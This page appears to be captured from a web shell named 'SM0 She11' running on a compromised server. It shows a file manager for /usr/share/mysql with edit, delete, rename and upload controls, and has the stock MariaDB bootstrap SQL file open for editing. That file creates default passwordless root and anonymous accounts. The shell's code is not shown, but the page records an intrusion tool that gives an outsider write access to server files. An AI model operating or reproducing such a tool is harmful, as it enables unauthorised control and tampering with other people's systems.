SM0 She11
Path:
/
/
usr
/
share
/
mysql
Full Path (server): /usr/share/mysql
Create Fil3
Upl04d Fil3
📄 binary-configure
[E]
[D]
[R]
📁 charsets
Open
[D]
[R]
📁 czech
Open
[D]
[R]
📁 danish
Open
[D]
[R]
📁 dutch
Open
[D]
[R]
📁 english
Open
[D]
[R]
📄 errmsg-utf8.txt
[E]
[D]
[R]
📁 estonian
Open
[D]
[R]
📄 fill_help_tables.sql
[E]
[D]
[R]
📁 french
Open
[D]
[R]
📁 german
Open
[D]
[R]
📁 greek
Open
[D]
[R]
📁 hungarian
Open
[D]
[R]
📄 install_spider.sql
[E]
[D]
[R]
📁 italian
Open
[D]
[R]
📁 japanese
Open
[D]
[R]
📁 korean
Open
[D]
[R]
📄 magic
[E]
[D]
[R]
📄 maria_add_gis_sp.sql
[E]
[D]
[R]
📄 maria_add_gis_sp_bootstrap.sql
[E]
[D]
[R]
📄 my-huge.cnf
[E]
[D]
[R]
📄 my-innodb-heavy-4G.cnf
[E]
[D]
[R]
📄 my-large.cnf
[E]
[D]
[R]
📄 my-medium.cnf
[E]
[D]
[R]
📄 my-small.cnf
[E]
[D]
[R]
📄 mysql-log-rotate
[E]
[D]
[R]
📄 mysql.server
[E]
[D]
[R]
📄 mysql_performance_tables.sql
[E]
[D]
[R]
📄 mysql_system_tables.sql
[E]
[D]
[R]
📄 mysql_system_tables_data.sql
[E]
[D]
[R]
📄 mysql_test_data_timezone.sql
[E]
[D]
[R]
📄 mysql_to_mariadb.sql
[E]
[D]
[R]
📄 mysqld_multi.server
[E]
[D]
[R]
📁 norwegian
Open
[D]
[R]
📁 norwegian-ny
Open
[D]
[R]
📁 policy
Open
[D]
[R]
📁 polish
Open
[D]
[R]
📁 portuguese
Open
[D]
[R]
📁 romanian
Open
[D]
[R]
📁 russian
Open
[D]
[R]
📁 serbian
Open
[D]
[R]
📁 slovak
Open
[D]
[R]
📁 spanish
Open
[D]
[R]
📁 swedish
Open
[D]
[R]
📁 systemd
Open
[D]
[R]
📁 ukrainian
Open
[D]
[R]
📄 wsrep.cnf
[E]
[D]
[R]
📄 wsrep_notify
[E]
[D]
[R]
Editing: mysql_system_tables_data.sql
-- Copyright (c) 2007, 2013, Oracle and/or its affiliates. -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; version 2 of the License. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1335 USA -- -- The inital data for system tables of MySQL Server -- -- When setting up a "cross bootstrap" database (e.g., creating data on a Unix -- host which will later be included in a Windows zip file), any lines -- containing "@current_hostname" are filtered out by mysql_install_db. -- Get the hostname, if the hostname has any wildcard character like "_" or "%" -- add escape character in front of wildcard character to convert "_" or "%" to -- a plain character SELECT LOWER( REPLACE((SELECT REPLACE(@@hostname,'_','\_')),'%','\%') )INTO @current_hostname; -- Fill "db" table with default grants for anyone to -- access database 'test' and 'test_%' if "db" table didn't exist CREATE TEMPORARY TABLE tmp_db LIKE db; INSERT INTO tmp_db VALUES ('%','test','','Y','Y','Y','Y','Y','Y','N','Y','Y','Y','Y','Y','Y','Y','Y','N','N','Y','Y'); INSERT INTO tmp_db VALUES ('%','test\_%','','Y','Y','Y','Y','Y','Y','N','Y','Y','Y','Y','Y','Y','Y','Y','N','N','Y','Y'); INSERT INTO db SELECT * FROM tmp_db WHERE @had_db_table=0; DROP TABLE tmp_db; -- Fill "user" table with default users allowing root access -- from local machine if "user" table didn't exist before CREATE TEMPORARY TABLE tmp_user_nopasswd LIKE user; CREATE TEMPORARY TABLE tmp_user_socket LIKE user; CREATE TEMPORARY TABLE tmp_user_anonymous LIKE user; -- Classic passwordless root account. INSERT INTO tmp_user_nopasswd VALUES ('localhost','root','','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','',0,0,0,0,'','','N', 'N','', 0); REPLACE INTO tmp_user_nopasswd SELECT @current_hostname,'root','','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','',0,0,0,0,'','','N','N','',0 FROM dual WHERE @current_hostname != 'localhost'; REPLACE INTO tmp_user_nopasswd VALUES ('127.0.0.1','root','','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','',0,0,0,0,'','','N','N','',0); REPLACE INTO tmp_user_nopasswd VALUES ('::1','root','','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','',0,0,0,0,'','','N','N', '', 0); -- More secure root account using unix sucket auth. INSERT INTO tmp_user_socket VALUES ('localhost',IFNULL(@auth_root_socket, 'root'),'','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','',0,0,0,0,'unix_socket','','N', 'N','', 0); -- Anonymous user with no privileges. INSERT INTO tmp_user_anonymous (host,user) VALUES ('localhost',''); INSERT INTO tmp_user_anonymous (host,user) SELECT @current_hostname,'' FROM dual WHERE @current_hostname != 'localhost'; INSERT INTO user SELECT * FROM tmp_user_nopasswd WHERE @had_user_table=0 AND @skip_auth_root_nopasswd IS NULL; INSERT INTO user SELECT * FROM tmp_user_socket WHERE @had_user_table=0 AND @auth_root_socket IS NOT NULL; INSERT INTO user SELECT * FROM tmp_user_anonymous WHERE @had_user_table=0 AND @skip_auth_anonymous IS NULL; DROP TABLE tmp_user_nopasswd, tmp_user_socket, tmp_user_anonymous; CREATE TEMPORARY TABLE tmp_proxies_priv LIKE proxies_priv; INSERT INTO tmp_proxies_priv VALUES ('localhost', 'root', '', '', TRUE, '', now()); REPLACE INTO tmp_proxies_priv SELECT @current_hostname, 'root', '', '', TRUE, '', now() FROM DUAL WHERE @current_hostname != 'localhost'; INSERT INTO proxies_priv SELECT * FROM tmp_proxies_priv WHERE @had_proxies_priv_table=0; DROP TABLE tmp_proxies_priv;
Save